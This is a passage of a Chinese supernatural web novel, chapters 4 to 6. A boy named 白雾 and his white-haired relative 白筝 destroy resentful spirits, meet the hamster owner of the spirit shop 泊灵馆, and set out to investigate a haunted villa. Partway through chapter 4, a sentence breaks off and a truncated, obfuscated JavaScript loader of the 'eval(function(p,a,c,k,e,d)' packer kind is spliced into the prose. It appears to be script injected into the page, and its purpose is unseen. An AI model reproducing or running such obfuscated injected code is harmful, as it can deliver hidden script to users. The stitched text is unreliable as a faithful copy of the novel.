归于平静后,白雾狠狠吸了一口气,提着泪。 怨灵消散了,他站在原地像是脱力一般躬着腰,手撑在膝盖上,迟迟没有动。 白筝犹豫了一下还是开口关心道:“你还好吗?” 白雾转过身,表情如常,可白筝却清晰的感受到,一股汹涌到窒息的悲伤从面前小孩的身上倾泻而出。 “我没事。” “没事就好。”白筝的视线突然转向白雾头顶,“那现在我数到一,你就朝后大退一步。” 白筝紧接着:“一!” “?”白雾不解但照做,飞快朝后一撤,险些摔跤。 人还没站稳,眼睛便看见两把往生刀直直飞了过来,精准刺中了一个往下掉的躯体,火焰爆燃,将那东西牢牢裹住。 被刺中的身体疯狂翻滚挣扎着,她有着妈妈一半的面容,正是第一次袭击白雾的那只怨灵。 白雾又惊又疑:“怎么会有两个?” “没那么容易。” 第二只怨灵也消失了,火焰随之熄灭,刀稳稳落回白筝手心:“房子里太狭窄了,先出去,要单挑还是群殴都比较方便。走。” 白雾握紧了匕首,从地上捞起书包,快步跟上。两人放着极轻的脚步走出门,按了电梯。 池底和池面一样,各种事物都能自由运行,也不需要什么电费。唯一的变化是池面新建或拆除什么东西池底也会跟着出现或消失。 电梯门缓缓打开又关上,狭小的空间将外部的动静隔绝。白雾站在白筝身后,盯着电梯显示楼层的屏幕。 温柔的声音正在播报:“电梯下行。” 八楼。七楼。六楼。 …… 电梯停在了六楼。 白筝把白雾挡在了身后,一脸不耐烦,反手握着双刀交叉横在胸前。 播报“叮”了一声:“六楼,到了。” 电梯门朝两边滑开。 门外,有人站在门的正中央,挡住楼道里的所有光线。 是妈妈。 是完好无损,没有一丝恶化痕迹的妈妈。 她正提着塑料袋,里面装了一些鱼肉,表情温和自然。那一瞬间,白雾甚至以为所谓的变故都是一场荒诞的梦境。 他死死盯着走进电梯的“妈妈”,马上他便从这层美好的幻象中抽离出来。这个“妈妈”自始至终都是笑着的,尽管看到了举刀的白筝,尽管看见白雾正跟在一个陌生的白发人身后,她依然是笑着的。 明天晓站进了电梯,按下了关门键。 白筝反而放下了刀,伸手过去按亮了五楼的按钮。明天晓的视线落在白筝身上,跟随着他的动作转动眼珠。 电梯到了五楼,按键熄灭了,可门却没有开,白筝没说话,只当自己没按过。 诡异的气氛让白雾有些发寒,不自觉抖了起来,他咽了一口唾沫,电梯还在下行,从六楼到一楼。 门终于开了,明天晓率先走了出去,白筝没有动,白雾自然也站在原地。 他扫过妈妈的背影,看见她背上不知道什么时候被贴上了一张画着莲花的方形小纸条。白雾目送明天晓走出单元门,然而电梯迟迟没有合上,显然,是不走不行了。 可白筝始终没有挪动一步,而是低声冲白雾说:“等着。” 又过了一会儿,电梯门终于“叮”地一声关上了,并没有开始运行。白雾莫名心头一慌,鬼使神差间,他回头看了看电梯里的镜子,倒吸一口凉气。 镜中,明天晓仍正站在电梯里,塑料袋中的鱼肉变成了一团圆鼓鼓,正散发着寒气的东西,一动也不动。 而她看向的不是镜外的自己,而是着镜中的自己。 白雾将头转了回去,看向镜中“明天晓”所站的地方。 白筝也正看着他。 4. 你凶什么 “亲亲亲戚你怎么了。” 白雾连嘴唇都在颤,话都说不利索。 白筝的眼睛变成了和怨灵如出一辙的墨黑,脸上正挂着阴寒的微笑。白雾下意识往后退,这时白筝抬手,高高抡起了手中的塑料袋,朝白雾砸了过来。 白雾被逼到电梯角落转不开身,只能再次抬起匕首。 那塑料袋里的东西圆滚滚,白花花,沉的吓人,挨一下怕是要交代在电梯里。然而白雾无处可逃,他只能条件反射的闭上眼睛。 痛苦并未来临。 千钧一发之际,身后有东西使劲拽住了他的后领,将他一把拽进了镜子里。 待他重新站稳,塑料袋砸在了镜面,镜子成了一道无法被穿透的结界,而假白筝只能隔着镜子从那头死死盯着他,笑容纹丝不动。 “我这是捡了个呆子?” 熟悉又安心的声音响起,两根修长的手指伸到了他面前,指节弯曲重重敲了敲白雾的额头。 白雾被敲得直捂头:“我错了。” 白筝:“在电梯下行的时候你就被扯到了镜子里,是因为心神不稳所以才中招。好在这只怨灵并不算强只是招式多了点,不然我可不能保证你毫发无伤。说,你刚刚是不是害怕了?” 白雾抿了抿嘴不想承认,转而惊道:“……不算强?” “嗯。”白筝看着电梯屏幕,“真正厉害的怨灵可不会像刚才那样让你轻易逃走……电梯停在一楼挺久了,下去吧。” 电梯门缓缓拉开。 一楼,外面是单元门,单元门前面站着一个人影,是明天晓。 她面向电梯静静站立,塑料袋变成了两个,自然垂落于双手。 “下去?” “怕了?” “有点。”白雾老实巴交。 随后,他余光瞥见电梯门外又有了变化,望去。只见天花板和单元门上慢慢渗出了黑泥,两道人影从中缓缓探了出来。 一个满面血肉,举起了锋利的指甲。 一个吊在顶上,两条手臂垂下来一摆一摆。 先前死于白雾和白筝刀下的两只怨灵回来了,正一左一右护在正中的“明天晓”身旁。 “你先走。” 见状白筝也不强求了,怜悯之心大发,生怕把小朋友吓坏。 “好好好。” 说完白筝抬脚走了出去,白雾见他背着手,指尖掐着两张莲花小纸条。没走两步又忽然回头:“唉,小东西你反应还挺快的,帮个忙怎么样?” 白筝将莲花小纸条递了出来。 怜悯之心来得快去得也快。 “贴背上?”白雾刚要伸手去接,抬头看见那只倒吊的怨灵已经悬在了白筝头顶,惊声提醒,“上面!” 话刚出口,火刀已经将怨灵横穿,那东西再一次惨叫着摔落在地,顶着明天晓的半张脸扭曲嘶吼着。 白雾心里五味杂陈。 白筝:“喏,现在只用贴一张了。别害怕。”他让了个道,指向那个没有皮囊浑身都是血肉的怨灵。 白雾看了过去,明明怕得要命,也不知道哪来的勇气。冥冥之中,他感觉这个怨灵好像不会真的伤害他。于是他接过纸条,握在手里紧了紧,下定决心。 “好。” 剩下两只怨灵同时朝电梯冲来,一只抡着沉甸甸的塑料袋,一只甩着指甲翻飞。白雾卯足了力气,似小鹿一般飞奔上去。耳边穿来塑料袋的声音,白雾立马侧身一躲,火刃紧随其后擦过塑料袋,瞬间燃烧。 尖爪破空而来,白雾往下一蹲,从下方钻了过去,趁机将小纸条使劲拍在了怨灵身后。 眼睛一亮:“贴上了!” 可尖爪再次甩了过来,白雾脸颊一痛,火光再次出现,从侧边强行将攻击挡了下来。 “干得不错,走!” 一双有力的手拽起他的胳膊,拉着他往外冲。两人飞快跑出了单元门,站在门外回过身,门内的两只怨灵似疯狼一般,一副要把他俩撕碎不死不休的狠厉模样。 白筝沉声:“火咒贰——莲!” 门内,怨灵身体似有异样,骤然僵住。 白雾隐约看到怨灵身上有红光亮起,逐渐蔓延至全身,顷刻间,巨大的火莲自怨灵脚底绽放,飞旋着火星四溅,愈来愈快,那是光靠近就能灰飞烟灭的速度。 莲花旋成虚影,抵达极点后猛然炸开,炸出了铺天盖地的金红火花,整栋楼都被火焰吞噬了一瞬。 归于平静之时,火莲花带着两只怨灵一同消散了。 一切的一切都发生在很短瞬间。 就像烟花,短暂绚烂之后留给人们的只有无尽的空虚。要想回到过去,那是不能了。 白雾将目光移向身旁的白筝,他眼中的星火还未熄灭。 这个人好强。 白筝对着空荡的单元门双手合十,轻声一拜:“一路走好。” 白雾也跟着拜了拜。 “一路走好。” 此行是解脱,亦是新生。 再会。 直起身,白筝又恢复了那副散漫的模样:“行了我知道我很帅,走吧,带你回泊灵馆看看脸上的伤。店主还在等你呢……你干嘛。” 白雾忽然递来一沓钱。 “给你。” 白筝错愕,随即失笑着说:“我早过了用钱的时候,自己收着吧。” 他将钱和白雾的手一并推了回去,红砂串在手腕处晃了又晃。 白雾沉默下来。转头望向单元门内,里面什么也不剩,空空荡荡,好像从未有人来过。 倒映在白雾眼中的火光熄灭了,斩断了一切过往。 他们母子之间早该结束,却偷偷相伴了这么多年,如今真的不复相见了,白雾又忽然觉得这一切不过是他这个精神病的一场梦。连散场都是那么不真实。 他想哭。 白筝叫他走,他磨磨蹭蹭迈开了步子,依依不舍往回看了一眼,目光扫到了什么东西,让他再次看向单元门:“等一下!” “怎么了?” “我去看看。”白雾朝着单元门小跑回去。 门边,躺着一团雪白。 几分钟前,它正被包裹在塑料袋里砸向他,如今一瞧,竟是一大团冻在一起的饺子。 一面被火烧过,露出里面的馅。玉米馅。 这半年枯燥备考的日子里,明天晓总能变着法子弄饺子回来给他吃,永远都是他最爱吃的玉米馅。 记忆回笼后,白雾恍然惊觉,一个池底的孤魂野鬼,上哪弄这么多玉米馅的饺子。 只能挨家挨户去搜寻。 一滴清泪砸在了冻住的饺子上,又从饱满的面皮上滑落下去。白雾吸了吸鼻子,蹲下身,轻轻拨开饺子球,底下正压着一张纸条。 “亲爱的小雾,不要哭。” 旁边画着一个歪歪扭扭的笑脸。 啪嗒。 字迹被晕开了。 …… 白雾低着头,跟在白筝身后走着,默默充当一个小尾巴。 二人穿梭于小巷中七拐八拐,一路上也没说什么话。池底总是在下雨,不过相较于那时的雷雨交加,此刻就显得过于轻柔了。 池底的雨淋不湿池底的魂,却仍旧在下,像是万千悲怆的泪滴,让这个凄凉的池底世界遍布伤痕与痛楚。 白雾情绪低迷,白筝又像是有心事的样子,两人一前一后走着,白雾悄悄打量起了这个人。 白筝比他高出半个头,红衬衫修得身形利落,阔腿裤又不像西装裤那样一板一眼太正经。肤色是长期不见天日的死白,不知是被衣服衬的还是灵魂形态本就如此。微长的白发在脑后扎了个松松的小揪揪,随着步伐一晃一晃。 从前白雾经常被明天晓按着染头发,所以他打小就很羡慕从不用掩饰和伪装的人,看起来很自由,很肆意张扬,能凭心意去选择自己的人生。 他忍不住在想,像这样强大的人究竟是怎么死的?他刚才的招式是怎么用出来的?还会有比他更强大的人吗? 想着想着就神游天外了。 数不清走过了几条街巷,又穿过了几个路口,终于看见熟悉的红灯笼。可那并不是店铺,而是一座破旧的园林,破破烂烂的牌匾上潦草两个大字。 “落园”。 白筝领他穿过旧拱门,园林内鬼气森森,他们踩着石子路走上木桥,又穿过一池小山水,终于看到了一座位于高处的木制古楼,古楼里头亮着光,有人影投射在窗户上。 白雾停下了脚步。 白筝回头:“怎么了?” 白雾:“你们店主凶吗?” 白筝摇头:“我没见过,平常最多也只是下达任务的沟通。我只是一个小店员,什么也不知道呀。" 白雾板着脸,一副我是你肚子里蛔虫的样子:“说真话。” 白筝改口:“不凶。” “行。”白雾越过白筝就上了楼梯。 白筝留在原地纳闷:“嘿!进了泊灵馆我可是你前辈,没大没小。” 白雾冷漠:“你不只是一个小店员?” 白筝一噎,豁,真捡到宝了。 然则白雾顶撞归顶撞,心里还是有点愧疚。毕竟他这辈子也没见过什么亲戚,不太知道该怎么与亲戚相处,他打心底把白筝当成了可以互损的朋友,毕竟这人看起来脾气蛮好,相貌也不怎么年长的样子。 应该活着的时间没比他长多久。 两人走到古楼门前,白雾很自觉让了个道叫白筝去推门,谁知白筝直接退出五步远,示意他敲。 白雾疑惑:“……里面有怪物?” 话音刚落,门内一声怒吼炸开:“你说谁是怪物?!” 门被“欻” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听他这么一说,名叫佟喜的男人顿时转头看向白雾,同时也放过了墙上的白筝。 他一步步走近。白雾现在非常讨厌这个人,虽然心里怕,脸上却是一副随时要咬人的样子。 见佟喜逼近,他一步也不退。 佟喜:“这玩意是钟?” 白雾:“什么是钟。” 佟喜嗤笑,指向后头还在边喘边咳的白筝:“姓白长白毛就叫做钟,连这都不知道?” 白筝哑声开口:“他出生前,妈妈就带他离开了白家……白家未必知道他的存在,那些往事,他真的什么也没接触过,什么也不知道。” 佟喜厉声打断:“我让你说话了吗看店的。” 话虽如此,佟喜再面向白雾也还是卸了一点怒火,一点点。 “说,你妈是谁?” 白雾:“明天晓。” 佟喜皱眉:“原来是白卓和明天晓这两个贱人的种。” 白雾眼神一沉,阴得可怕,一瞬间好像变了个人似的:“你说谁是贱人?” 佟喜只是看着白雾。 是了,钟的眼睛不会错。继承了白家血脉的人,就是会在某些方面异于常人,都是天生的疯子。 但佟喜偏偏也是个天不怕地不怕的性格,半步不让,一字一字念给白雾听:“你爹和你娘。” 后头的白筝这下有些急了:“你理智一……点。” 一声破肉的轻响,白筝心里咯噔一跳。 只见白雾从袖子里滑出往生刀就朝着佟喜的脖颈捅了过去,快到没人反应过来。佟喜嘴里发出“嗬嗬”的声音,绷紧了身体,白雾又把刀往深处送了半截,抬头面向佟喜,一副阴沉却又毫无波澜表情,只有嘴角在暗自使力。 佟喜扬手,一巴掌结结实实扇在了白雾脸上。 白雾自知体型比不过,力气也比不过,刚才不过是乘虚而入的一刀,被扇飞也是意料之中。 只是佟喜下手太重,他趴倒在地上,脸颊似火烧般,疼痛完全覆盖了原本的伤疤,耳鸣贯穿大脑,晕晕乎乎,眼前一片模糊。 他好像看到佟喜一手捂着脖颈一手提着一长串叮当响的东西朝自己走了过来,白雾感受到杀气,只能强撑着眩晕往前爬,而佟喜已经高举着那串东西朝着自己甩了过来。 白雾闭上了眼。 面部传来一阵滚烫,后归于平静。 他颤颤巍巍睁开眼,看见两把火刀挡在自己身前,将佟喜的武器死死卡住。 佟喜的武器是一根铁链,上面用红绳挂满了密密麻麻的铜钱。 白筝怒道:“佟喜!你今天要是敢动他我就杀了你!” 佟喜一听,面色骤变,最后一点忍耐消失殆尽。 他手中的铁链剧烈摇晃起来,荡出层层金光,随即一震,眨眼间将白筝的两把往生刀震成了碎片。 危险的钱串垂在地面,佟喜冲着白筝歪头,阴恻恻地说:“你再说一遍,谁杀了谁?” 白筝咬紧牙关,看向地上的白雾:“还不起来。” 说完,他又转向佟喜,而对方已经站到了他面前。佟喜比白筝略高一些,被烛光拉长的影子将白筝完全覆盖,接着,他听见了几声铜钱掉落的声音。 “金咒贰——刹。” 5. 仓鼠店主 “店主到。” 一阵阴风撞了进来,掐断了佟喜要杀人的架势,同时吹灭了屋内的所有烛火,三人瞬间被黑暗吞噬。 黑暗中,油灯缓缓亮起,穿黑大衣的女人提着灯显出身影。 她粗略扫了眼屋内混乱的三人,面无表情斥责道:“都消停点吧。” 佟喜不情不愿收回了手,白筝顿时松了一口气。回头一看,白雾不断冲他使眼神。 白雾:这才是店主? 白筝缓过劲,摇了摇头,不断瞄向那盏灯。 白雾:? 再抬眼时,女人也正望着白雾,没有半点血色的面容叫人心里发毛。 以为女人要发话,然而,他却听见了一道与众不同的稚嫩童声:“你就是白筝带回来的钟?” “是我。” 他嘴上应答着,耳朵不断寻找着声音的源头,最终,他的目光落在了一个异于常理的地方——女人手里提着的那盏油灯。 “你过来。” 油灯中的童声正在呼唤白雾,白雾看向白筝,见白筝并无阻止之意,他这才朝油灯走去。 “我就是泊灵馆的店主,你叫什么名字?” “我叫白雾。” “名字好听,长得也好看。”店主毫不吝啬夸赞,“果然钟的姿色都是这么好。” 听言,佟喜在后头又剜了白筝一眼。 白雾直言:“我不明白你们所说的白家和钟是什么,总之别把我没做过的事情归咎到我身上,生我养我的不是白家,是我妈妈。” 店主听完,有所停顿:“让你见笑了,回头我说说他。” 这还差不多。 店主:“我知道你有很多疑问,都可以直接问我,我很乐意解答。” 白雾:“那就都告诉我。” 店主:“我倒喜欢你的性子,你想先从哪里说起?” 白雾毫不犹豫:“白家。” “池面,也就是活人世界存在着一个负责维护池底秩序的组织,名叫羁玄堂,白家从前是羁玄堂的领导者。他们负责从各家筛选有天资的孩子,这些孩子会经过特殊训练,学习五行咒术,最终进到池底执行任务。” “但是很遗憾,数十年前,他们通过纂改古阵,献祭了五名钦定者,换了池底最为凶煞的五只怨灵上池面。” “献祭?” 店主没再往下说。 一片压抑的死寂。白雾回头看,白筝和佟喜手腕处的红砂无比刺眼,没人说话,气氛有些古怪。 “被献祭的……是他们?” 店主轻轻叹气:“他们本都是羁玄堂的一员,甚至是当年各个五行流派的最强者。是横空出世的一届,也是凭空消失的一届” 白雾惊愕:“用五个活人的命换五只怨灵……也就是说现在最强的怨灵是在?!” 油灯闪烁两下:“活人世界。” 佟喜又开始叽叽喳喳:“拖你们白家的福,现在知道的人都死了,不知道的人还活着,羁玄堂捧白家那群畜生还跟造神似的。哎,好笑不好笑。” 店主连忙打断:“所以我们才需要你。我早已身死,他们又被阵法镇压着回不去。白家的钟,是天生就能穿梭于两界的孩子,只有你能救泊灵馆,也只有你能救羁玄堂,救在世之人不被怨灵所害。” 使命二字像崩山巨石一样朝白雾撵了过来,撵得他猝不及防:“唉?我?” 店主肯定道:“你。” 又补充道:“不是每个白家的孩子都是钟。所谓钟,天生白发,象征着不凡与使命,能在池底指引归处,如钟声定人心。你是唯一不被白家知晓的存在,扭转局势需要你。” “要是我不答应怎么办?” “你会答应的。” 命运推着白雾走到了这里,他的确没有回头的打算:“……我只能试试。” 他只是一个数学打五十六分的学渣,怎么摇身一变就要拯救世界了?又是这么老的套路,有完没完。 店主听不见白雾抱怨的心声,温和道:“你把手放到灯上来,让我看看你的潜能。” 白筝提醒:“还是别吧。” “放。”店主倔强。 白筝耸了耸肩,没再阻拦。白雾望着眼前这盏与他对话的油灯,抬起沉重的右手,轻轻放了上去。 指尖一碰,油灯开始闪烁,像眼睛一眨一眨,不料越来越快。 不过短短四五秒,油灯跟那闪光灯似的,整个空间都跟着这唯一的光源一起抽风。白筝没忍住笑,被佟喜狠狠锤了一下背,痛老实了。 店主有点崩溃:“坏了!要坏了!你快把手拿开!” 白雾茫然但听话,缩回了手,然而为时已晚,油灯从内部发出一声爆鸣,“啪!”的一声炸裂,整个空间再次被黑暗吞噬。 白雾把闯了祸的手缩在胸前,呆愣在原地。 前方传来一身女人的叹息,一只蜡烛颤颤巍巍亮起。 女人举着烛,死白的脸上布满了无奈,碎片被炸得到处都是,所幸没伤到人。 店主:“啊!我的灯!” 白雾望过去,油灯光剩个铁架子,而在铁架子里呆着的,竟然是一只米白色仓鼠。 仓鼠? 店主? 世界观刷新中。 小仓鼠和白雾对视一眼,吓得一蹦,转头顺着灯杆窜进了女人的大衣袖子里。女人看着肩膀一侧的小鼓包,语重心长:“都说了不要好奇,上一个白筝都炸过一次了。” 女人肩膀上发出闷闷的小孩声,冲白雾道:“你已经正式加入泊灵馆了,你走吧!白筝!把他带走!” 白筝憋得辛苦:“嗻。” 三人正准备走,店主又嚷嚷:“佟喜你给我留下!” 此时佟喜正准备跟出去找茬,转了半个身又被叫停了。 “哈???” …… 白雾和白筝一道走在巷子里。 白雾担忧问道:“刚才,那个叫佟喜的有伤到你吗?” 白筝:“你还是担心你自己吧,挨了一巴掌,脸上的伤都变重了。” 白雾摇头:“不怎么疼,以前被揍习惯了。” “谁揍你?你妈啊。” 白雾点头:“因为我笨,学东西很慢。” 白筝:“这倒是看不出。” 白雾又道:“我真没事。倒是你,和佟喜是怎么一回事?” “他啊,怨我呗。”白筝十指交叉搭在脑后,“不过你也真够狠的,居然对着人脖子来一刀,要是没戴红砂串他今天就去投胎了。” 白雾睁着亮亮的眼睛:“那我厉害吗?” “厉害厉害。” “我真的厉害吗?” “超级厉害。” 白筝跟哄小孩似的。 两人并肩走在潮湿暗巷,雨滴啪嗒啪嗒落着,在这个气氛下竟也显得俏皮起来。 这时,一只黄绿色的鹦鹉从建筑后飞了出来,在灰暗的环境中盘旋两圈,格外扎眼。它发出一声婉转的鸣叫后,吐出了熟悉的声音:“跟我来。” 白雾:“店主?” 鹦鹉飞在二人前头,指引他们前进。 白筝跑了起来:“是店主的分身,在带我们去下一个泊灵馆。” “下一个?” “全池连锁。”白筝回头冲他一眨眼,“当然是哪里出事我们就去哪里。” 鹦鹉带着两人来到巷子最深处,一个死胡同,尽头的墙面寄生着一只巨大的眼睛。 大眼睛里倒映的是一幢幢排列起来的精致的洋房,和小巷全然不同的景象。 白筝率先走到眼睛前,白雾紧跟其后。谁知白筝并没有停下脚步,而是直直走进了眼睛里,这下白雾有点犯怵了。 见到这种颠覆世界观的东西,他咽了口唾沫,有点反胃。 头顶上方再次传来鹦啼,似在催促。 白雾深吸一口气,低声念叨了一句:“亲戚,你可一定要是个好人啊。”然后闭着眼睛莽了进去。 畅通无阻。 再睁开眼,眼前已经变成了大眼睛里所倒映的地方,此时自己正站再宽阔的路边。 见白筝还在身侧,他问:“这是哪?” 白筝辨认一番:“蔺乡。这里是蔺乡郊外的富人别墅区。” 白雾知道蔺乡,高一的时候学校组织来蔺乡研过学,算是大城市。 他 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白雾震惊:“你们受了伤都是抹香灰?!” 白筝:“你嫌弃就算了。”说完就要把盒子盖起来。 “别别别。”白雾想了想自己脸上的伤,还是得治。 白筝把香灰盒丢给他:“那你自己来,我去收拾一下。” “好吧。” 白雾接过香灰盒,心情忐忑地沾了一点,对着铜镜抹上。沾上香灰的瞬间,伤口以肉眼可见的速度愈合,像是什么灵丹妙药一样,白雾对着铜镜看呆了眼。 不过片刻,脸颊已经恢复得白白净净。 “哇。”他不自觉感叹出了声。 白筝正拿着扫帚在扫地,循声看了过来,语气得意:“厉害吧。你细皮嫩肉的,这东西送你了。” “谢谢。”白雾欣然收下。 这时,门外突然响起了脚步声,非常之沉重。每一步都裹着陈年怨气,带着要把地板碾碎的劲。 屋内两人很警觉地盯住了门口,尤其是白筝。 一只布满青筋的大手扒上门框,紧接着,是一张阴沉的脸。 白筝:“佟喜?!” 白雾赶忙站起身,手紧紧抓住了铜镜。 白筝的刀被这家伙打碎了,自己的匕首也不见了,若是这人再要动手,他就直接把铜镜往他头上砸。 谁知佟喜只是站在门口,咬牙切齿:“怎么,见到我你不高兴?” 白筝突然明白了什么:“贵客难得光临,怎么这么有闲心。” 白雾意识到,白筝这人也是欠揍。 佟喜越想越气:“当然是被狗害的,店主居然叫我来跟你们一起当店员。” 白雾眉头一皱:“明明是你先打人的,又不是我们,自己被收拾了还觉得都是别人的错,没担当。” 佟喜一听,把指关节按得咔咔作响:“你小子说什么?” 白雾走出前台,从白筝手里抢过扫帚,三步并作两步走到佟喜面前,把扫帚塞给他。 “新来的,把地给我扫了。店员也讲究先来后到,我们可是你前辈,不准没大没小。” “嚯哟?”白筝又一次被震撼到了。 佟喜看了看手里的扫帚,又不敢置信地抬起头:“你再说一遍?!” 扫帚“咔嚓”一声断成两截。 白雾扬起下巴跟佟喜对视,虽然身高矮了一大截,却有种不气死人不罢休的气势:“那你有本事就送我走啊,看店主还容不容得下你。” 佟喜气极反笑:“……好,扫地是吧,扫就扫!小子你给我等着。” 说完,佟喜捡起两截扫帚就开始扫地,脸色青一阵红一阵。都快被小屁孩气死了还不能动手,如今证明自己是个真男人的方式竟然是愿赌服输的扫地。 滑天下之大稽。 白筝脸上挂着笑,滑到白雾身后,轻声告知:”从今天开始咱俩别管辈分了,你是我大哥。” 白雾从容点了点头。 小屁孩制霸泊灵馆。 6. 你的名字 佟喜阴沉着一张脸,报复性的将灰尘扬高,他穿着皮夹克,身上挂满了叮叮当当的饰品,看着价值不菲。不过此时唯一的用处就是制造噪音。 白雾有模有样坐在前台里监工,白筝不知跑哪里去了,回来时手里提着两把完好无损的往生刀。恰好佟喜也象征性的扫完了,扫帚一扔,搬了把凳子坐在了泊灵馆的另一个角落。 离得远远的。 “给,防身用。”白筝甩出另一把往生刀抛给白雾。 白雾伸手接住,是一把做工相当精致的木刀,和最开始的匕首不同,看起来上了几个档次。 “谢谢。" 白筝笑:“哪有大哥跟小弟说谢谢的。我刚上楼看了,楼上正好三间房能歇脚,我给你收拾出来一间,衣物什么的都有,上去看看?” 白雾一听有容身之处了,两腿一蹦就起身:“那我去换身衣服。” 他身上这件还是白筝从泊灵馆随手拿的,不知道传了几代人的老古董了,穿在他身上一股子陈腐气,还是换下来物归原处的好。 白雾上楼,一眼就看见三间并排的房门,他头也不回扎进了中间这一间。门一开,果然是白筝替他准备的,衣服整整齐齐叠在床铺上——一件白净的衬衣,一条宽松的牛仔裤,很有白筝利落的风格。 他将书包搁在书桌上,换好衣服,叫白筝上来看了看,得到了亲戚诸如“真标志”“身材真好”之类的夸赞。 把白雾夸开心了。 见白雾实在是有些累了,白筝允了他休息。白雾也没客气,一头倒在床上睡死了过去。 窗外的雨声变得又轻又细,滴滴答答哄着小孩安眠。 无梦。 池底没什么时间的概念,白雾也不知道睡了多久。迷迷糊糊睁开眼,又在床上晕了好一会才下楼。 下楼一看,佟喜又在找茬,只是那股子冲天的火气撒在白筝身上,简直毫无用处,反而显得他在无能狂怒。 白雾站在楼梯口看戏,心头突然掠过一丝怪异的感觉,他将目光转向门口,正怀疑是不是错觉,然佟喜和白筝都把头转了过去。 门外,有什么人颤颤巍巍爬了进来。 是一个女人。 一个断手断脚,只留下大臂和大腿,用肢体截断处移动,匍匐在地的女人。 白筝扫了佟喜一眼:“你别挡道,接客呢。” 随后他直接将人拨开,走到门口,女人仰起头看他。白筝越过女人把头往出一探,惊叹一声:“嚯,这么长的血印子,美女你从哪来的啊?” 女人在地上啊啊惨叫,又是摇头又是哭,语言支离破碎,拼凑不出一句完整的话。 白筝蹲下身:“别急,慢慢跟我说。” 他将手掌轻轻放在女人头顶,闭眼沉默片刻,再睁眼时语气已经淡了下来:“我知道了,我们会帮忙的。” 话音落,白筝眼珠微转,一簇火光骤然将女人洞穿。女人没有挣扎,而是在暖焰的包裹中安静睡去,消散于门口。 白筝收回刀,站起身:“她说她是一名保姆,生前被怨灵所杀,死亡地就在马路对面的别墅小区里,别的没了。” “生前?”佟喜挑眉,“能上池面杀人的怨灵很久没见过了。” 白筝:“怨灵的本体已经不在池底了,我们好像拿它没办法……” 刚说完,楼梯处传来了嘎吱一声轻响,两人循声望去,正好逮着欲要转身逃跑的白雾。 白雾感应到有两股炙热的视线落在了自己身上,苦着脸回头,赔笑。 佟喜:“怎么?这就怂了?” 白筝走了过来,推着白雾的肩膀就往门外送:“嗨呀大哥,初来乍到你肯定不习惯,要不要回去散散心什么的?” 白雾微笑:“谢谢,我在这里挺好的。” 白筝把人推到门口,掐住肩膀:“管你七七八八的,论店里资历我可是最老的,在这等着。” 一转眼又不认什么大哥了。 白雾回过头,佟喜正捏着一枚铜钱,弹起又落下,脸上摆满了不想和他们共处一室的烦躁。白筝则是趴在前台里写写画画,没一会儿,三人整装出发。 泊灵馆正对的别墅小区名叫望天湖,清一色的精致欧式独栋,户户都带小花园。背后靠的山是个旅游景区,的确不是普通人能购入的。 池底没人管,几人大摇大摆从门禁处翻了进去。 白雾由衷感叹:“好有钱的地方。” 佟喜嗤了声:“确实没见过什么世面。” 白雾懒得理他。 几人凭着直觉在小区里找,最终,他们停在了一座边缘的别墅大门前。不说白筝佟喜,就连白雾都能清晰嗅到,这里裹着一股浓到让人无法忽视的阴冷。 “十有八九就是这儿了。”白筝上前推了推门,纹丝不动,“看来得翻进去。这样,我和佟喜在这边想办法,你把我的纸条带上,还有这个护身符。” 他摊开手,递来数张画着莲花的小纸条,以及一枚红的晃眼的护身符。 “护身符能替你挡一次致命灾祸,用掉了就立刻下来,我们随时在这附近。” “好吧。”白雾接过。 毕竟是亲戚,虽说有点坑人,总归还是不希望他出事的。他拿在手里掂了掂,东西轻得很,却像千斤重。 这时有东西朝他飞了过来,白雾伸手一拦,是枚铜钱。 佟喜站在不远处:“铜钱击中怨灵就能把怨灵弄下来,看你准头。不准也没关系,没脸见人而已。” 白筝用手肘戳了戳这人:“你就不会好好说话。” 白雾眼皮一跳,大战一触即发。 还是赶紧走吧。 一转头,一道温和的余晖洒在了他身上,那是夕阳。 他深吸一口气。明明离开世界不久,却像是见到了久违的朋友一般。 回过神,他赶忙把全身上下都摸了一遍,往生刀,小纸条,铜钱,护身符,一样不落,这才稍稍安心。 看向面前威严的大门,走这进不去,只能另寻他路了。 然而他一转身,就撞见了来势汹汹的保安。 “小伙子别在这逗留啊,走远点,这不是什么好地方。” 白雾恢复与活人沟通的能力,礼貌道:“叔叔,这里是出过什么事吗?” 保安把他上下打量了一遍:“这不是你该问的。你是外客吧?门卫处登记了没有。” 白雾后背一紧,连忙点头:“登记了,登记了。” 好在保安也没深究下去,只挥挥手:“那去别的地方逛,别在这昂。” “好嘞。” 白雾转身就走,走得灰溜溜。 等走远一点,又悄悄绕路折了回来。 天色渐暗。他终于在别墅后墙处摸到了一个监控死角,咬牙往上翻,翻得非常勉强。好不容易攀上围墙,一道强光直刺脸上来。 糟了,手电筒?! “喂!你是谁?”底下传来低声的质问。 白雾往下一看,见是同样鬼鬼祟祟的四个人,两男两女,还拎着大包小包,叫住他的是一名年纪稍长的大叔。看这模样,绝不是什么正经来客,白雾索性没说话。 谁知大叔不耐烦道:“你要翻就快点翻,别挡道。” 得,原来是同道中人。 “哦。”白雾答应一声,纵身一跃,进了围墙里。 在围墙下等了约莫十分钟,这四个人也总算是翻进来了。既有活人作伴,还是不单独冒险的好,谁知道别墅里头有些什么。 大叔是个话痨,翻进来之后就一股脑地对着白雾滔滔不绝。 “我说你一个年轻小伙子,晚上来这做什么?当然我知道你也有自己的目的,我们也一样。不过这别墅里头是个灭门惨案呐,听说东西凶得很,你胆子也真够大的。” 白雾看着几人的行囊:“你们是……来驱邪的?” 大叔摆手:“驱邪说不上,我们是来睡觉的。” “睡觉?” 大叔招呼着白雾和同行的三人往前院走。 “嗐,我们这叫凶宅试睡。回头这宅子要卖掉的,不请人进去住一住,怎么知道安不安全?这宅子也是特殊,不光要睡觉,还得在里面把日常生活的流程全都走一遍。” “这么夸张,那你们干嘛也翻墙进来?” “特殊情况特殊情况,门卫不让进,只能出此下策了。”大叔无比热络,“小伙子你叫什么名字?既然碰上了,那就认识一下呗。” 白雾:“我叫李雾。” 张嘴就来。 “好听!这名字好听!”大叔夸赞,“我叫庞李祥,这是我女儿庞笑笑,你叫她笑笑就可以。另外两个是我徒弟,男孩叫莫田,女孩叫张芡。” 白雾微微鞠躬,礼貌一笑:“你们好。” 庞笑笑也回以一笑:“你好。” 莫田:“你好。” 名叫张芡的女孩只是点了点头,便移开了视线。 